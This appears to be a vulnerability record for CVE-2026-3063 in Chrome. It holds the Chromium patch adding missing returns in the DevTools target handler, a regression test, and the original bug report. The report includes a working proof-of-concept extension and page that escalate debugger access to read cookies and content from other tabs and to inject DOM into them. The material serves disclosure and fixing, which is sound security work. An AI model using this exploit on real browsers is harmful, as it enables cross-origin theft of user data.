CVE-2026-3063
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/devtools/protocol/target_handler.cc |
modified |
Files Changed
content/browser/devtools/protocol/target_handler.ccthird_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
Patch
From 111ecbc657c45da1115a6bb97157721e11cbb82c Mon Sep 17 00:00:00 2001
From: Alex Rudenko <alexrudenko@chromium.org>
Date: Wed, 18 Feb 2026 01:59:58 -0800
Subject: [PATCH] Fix missing returns in target_handler
Fixed: 485287859
Change-Id: I7f3782719e60bd4d2792c9e8703c967e75d22469
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7585522
Commit-Queue: Philip Pfaffe <pfaffe@chromium.org>
Auto-Submit: Alex Rudenko <alexrudenko@chromium.org>
Commit-Queue: Alex Rudenko <alexrudenko@chromium.org>
Reviewed-by: Philip Pfaffe <pfaffe@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1586296}
---
diff --git a/content/browser/devtools/protocol/target_handler.cc b/content/browser/devtools/protocol/target_handler.cc
index 8c491e4..18f066a 100644
--- a/content/browser/devtools/protocol/target_handler.cc
+++ b/content/browser/devtools/protocol/target_handler.cc
@@ -1257,21 +1257,25 @@
std::unique_ptr<ExposeDevToolsProtocolCallback> callback) {
if (access_mode_ != AccessMode::kBrowser) {
callback->sendFailure(Response::InvalidParams(kNotAllowedError));
+ return;
}
scoped_refptr<DevToolsAgentHost> agent_host =
DevToolsAgentHost::GetForId(target_id);
if (!agent_host) {
callback->sendFailure(Response::InvalidParams(kTargetNotFound));
+ return;
}
if (BrowserToPageConnector::GetInstanceMap()[agent_host.get()]) {
callback->sendFailure(Response::ServerError(base::StringPrintf(
"Target with id %s is already granted remote debugging bindings.",
target_id.c_str())));
+ return;
}
if (!agent_host->GetWebContents()) {
callback->sendFailure(Response::ServerError(
"RemoteDebuggingBinding can be granted only to page targets"));
+ return;
}
BrowserConnectorHostClientPermissions permissions;
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
- const {page, session, dp} = await testRunner.startBlank(
+ const {page, session} = await testRunner.startBlank(
'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
- await dp.Target.exposeDevToolsProtocol(
- {targetId: page._targetId, bindingName: 'cdp'});
+ const browserSession = await testRunner.attachFullBrowserSession();
+ const bp = browserSession.protocol;
+
+ await bp.Target.exposeDevToolsProtocol(
+ {targetId: page.targetId(), bindingName: 'cdp'});
+
+ const dp = session.protocol;
await dp.Runtime.enable();
+ await dp.Page.enable();
dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
const contextFoo =
(await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Regression Test / PoC
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
- const {page, session, dp} = await testRunner.startBlank(
+ const {page, session} = await testRunner.startBlank(
'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
- await dp.Target.exposeDevToolsProtocol(
- {targetId: page._targetId, bindingName: 'cdp'});
+ const browserSession = await testRunner.attachFullBrowserSession();
+ const bp = browserSession.protocol;
+
+ await bp.Target.exposeDevToolsProtocol(
+ {targetId: page.targetId(), bindingName: 'cdp'});
+
+ const dp = session.protocol;
await dp.Runtime.enable();
+ await dp.Page.enable();
dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
const contextFoo =
(await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Original Bug Report
Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return
Report description
Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://github.com/chromium/chromium
The problem
Please describe the technical details of the vulnerability
Summary
When an untrusted chrome.debugger client calls Target.exposeDevToolsProtocol, the API returns Not allowed but does not exit. Due to missing return statements after sendFailure(...), execution falls through and creates BrowserToPageConnector, injecting a window.cdp bridge into the page with browser-level CDP access.
Test Environment
- Verification date: 2026-02-18
- Chrome version: 144.0.7559.109 (Linux)
- Source reference commit:
88547700c7111c05932d805609d48be9e92a4f87
PoC Setup
mkdir -p poc/ext poc/page && cd poc
cat > ext/manifest.json <<'EOF'
{
"manifest_version": 3, "name": "PoC", "version": "1.0",
"permissions": ["debugger", "activeTab"],
"background": { "service_worker": "background.js" },
"action": { "default_title": "Trigger" }
}
EOF
cat > ext/background.js <<'EOF'
chrome.action.onClicked.addListener(async (tab) => {
try {
await chrome.debugger.attach({ tabId: tab.id }, '1.3');
const { targetInfo } = await chrome.debugger.sendCommand(
{ tabId: tab.id }, 'Target.getTargetInfo');
// sendFailure("Not allowed") fires but has no return.
// BrowserToPageConnector is created anyway.
try {
await chrome.debugger.sendCommand({ tabId: tab.id },
'Target.exposeDevToolsProtocol',
{ targetId: targetInfo.targetId, bindingName: 'cdp' });
} catch (_) {}
await chrome.debugger.detach({ tabId: tab.id });
} catch (e) {
try { await chrome.debugger.detach({ tabId: tab.id }); } catch (_) {}
}
});
EOF
cat > page/index.html <<'EOF'
<!doctype html>
<html><head><meta charset="utf-8"><title>PoC</title>
<style>
body { font: 13px/1.6 monospace; background: #111; color: #999; padding: 24px }
.g { color: #5a5 } .r { color: #a55 } .w { color: #ddd } .d { color: #555 }
.data { border-left: 2px solid #a80; padding: 6px 14px; margin: 4px 0 4px 12px;
color: #ca5; background: #1a1400; white-space: pre-wrap; word-break: break-all }
</style></head><body>
<b>Target.exposeDevToolsProtocol - missing return after sendFailure</b><br>
<small style="color:#555">browser-level CDP from page JS via window.cdp</small>
<p id="wait">click the extension icon on this tab to trigger</p>
<div id="out"></div>
<script>
(function() {
var out = document.getElementById('out'), wait = document.getElementById('wait');
function log(s, c) {
var e = document.createElement('div');
if (c) e.className = c; e.textContent = s; out.appendChild(e);
}
function data(s) {
var e = document.createElement('pre');
e.className = 'data'; e.textContent = s; out.appendChild(e);
}
(function poll() { if (!window.cdp) return setTimeout(poll, 400); wait.hidden = true; run() })();
function run() {
var here = location.href, session, seq = 0;
cdp.onmessage = function(raw) {
var m; try { m = JSON.parse(raw) } catch(e) { return }
if (m.method === 'Target.receivedMessageFromTarget') {
try { onVictim(JSON.parse(m.params.message)) } catch(e) {} return;
}
if (m.id === 1 && m.result) onTargets(m.result.targetInfos || []);
if (m.id === 2 && m.result) onAttach(m.result);
if (m.id <= 2 && m.error) log('error: ' + m.error.message, 'r');
};
log('window.cdp binding detected', 'g'); log('');
log('Target.getTargets', 'w');
cdp.send(JSON.stringify({ id: 1, method: 'Target.getTargets', params: {} }));
function onTargets(list) {
list.forEach(function(t) { log(' ' + t.type + ' ' + t.url, 'd') }); log('');
var v = list.find(function(t) {
return t.type === 'page' && t.url !== here && !/^(devtools|chrome|about):/.test(t.url);
});
if (!v) return log('no cross-origin tab. open another tab and re-trigger.', 'r');
log('Target.attachToTarget ' + v.url, 'w');
cdp.send(JSON.stringify({ id: 2, method: 'Target.attachToTarget',
params: { targetId: v.targetId, flatten: false } }));
}
function onAttach(res) {
if (!res.sessionId) return log('attach failed', 'r');
session = res.sessionId;
log(' session ' + session.substring(0, 20) + '...', 'g'); log('');
log('Runtime.evaluate in victim (read)', 'w');
evalVictim(101, 'JSON.stringify({u:location.href,t:document.title,c:document.cookie,' +
'b:document.body.innerText.substring(0,500)})');
}
function onVictim(m) {
if (m.id === 101 && m.result && m.result.result) {
try {
var d = JSON.parse(m.result.result.value);
log(' stolen from ' + d.u, 'g');
data('title: ' + d.t + '\ncookie: ' + (d.c || '(none)') +
'\ncontent: ' + d.b.substring(0, 300));
} catch(e) { log(' raw: ' + m.result.result.value, 'g') }
log(''); log('Runtime.evaluate in victim (inject DOM)', 'w');
evalVictim(102, 'var b=document.createElement("div");' +
'b.setAttribute("style","position:fixed;top:0;left:0;right:0;z-index:2147483647;' +
'padding:14px 20px;background:#b00;color:#fff;font:bold 14px/1 monospace;text-align:center");' +
'b.textContent="Cross-origin write via CDP bypass";' +
'document.documentElement.prepend(b);"injected"');
}
if (m.id === 102 && m.result) {
log(' victim DOM modified', 'g'); log('');
log('done. switch to the victim tab to see the red banner.', 'w');
}
if (m.error) log(' victim: ' + m.error.message, 'r');
}
function evalVictim(id, expr) {
cdp.send(JSON.stringify({ id: ++seq + 10, method: 'Target.sendMessageToTarget',
params: { sessionId: session, message: JSON.stringify({
id: id, method: 'Runtime.evaluate', params: { expression: expr } }) } }));
}
}
})();
</script></body></html>
EOF
Reproduction Steps
1. Create files and start server
# Run the setup block above, then:
python3 -m http.server 8000 --directory page
2. Launch Chrome
Open a second terminal:
google-chrome \
--user-data-dir="$(mktemp -d)" \
--no-first-run \
--no-default-browser-check \
"http://127.0.0.1:8000/index.html"
3. Load extension
- Navigate to
chrome://extensions. - Enable Developer mode (toggle, top right).
- Click Load unpacked and select the
ext/directory. - Return to the
http://127.0.0.1:8000/index.htmltab.
4. Open victim tab
Open a new tab and navigate to https://example.com.
5. Trigger
- Switch back to the PoC tab (
127.0.0.1:8000). - Click the extension icon in the toolbar.
6. Observe
On the PoC page:
window.cdp binding detectedconfirms the bypass.Target.getTargetslists all browser tabs including the victim.stolen from https://example.com/shows cross-origin content read (title, cookies, body text).victim DOM modifiedconfirms cross-origin write.
Switch to the victim tab (example.com). A red banner reading “Cross-origin write via CDP bypass” is injected at the top of the page.
Actual vs Expected
Actual
Target.exposeDevToolsProtocolreturnsNot allowed.BrowserToPageConnectoris created anyway.window.cdpis injected with browser-level access.- Cross-origin read and write demonstrated.
Expected
- Request is denied.
- Function returns immediately.
- No connector, no binding, no cross-origin access.
Recommended Fix
Add return; after each callback->sendFailure(...) in TargetHandler::ExposeDevToolsProtocol(...).
Source References
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/browser/devtools/protocol/target_handler.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/public/browser/devtools_agent_host_client.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/chrome/browser/extensions/api/debugger/debugger_api.cc
Impact analysis
Impact
An extension with debugger permission can escalate from tab-scoped debugging to full browser-level CDP via page JavaScript.
Demonstrated capabilities after trigger:
- Read cross-origin page content (title, cookies, body text) from any tab.
- Write to cross-origin DOM (inject arbitrary elements into any tab).
- Enumerate all browser targets beyond the original attachment scope.
The cause
What version of Chrome have you found the security issue in?
144.0.7559.109
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Privilege Escalation
How would you like to be publicly acknowledged for your report?
M. Fauzan Wijaya (Gh05t666nero)
- http://127.0.0.1:8000/index.html
- https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules
- https://github.com/chromium/chromium
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/chrome/browser/extensions/api/debugger/debugger_api.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/browser/devtools/protocol/target_handler.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/public/browser/devtools_agent_host_client.cc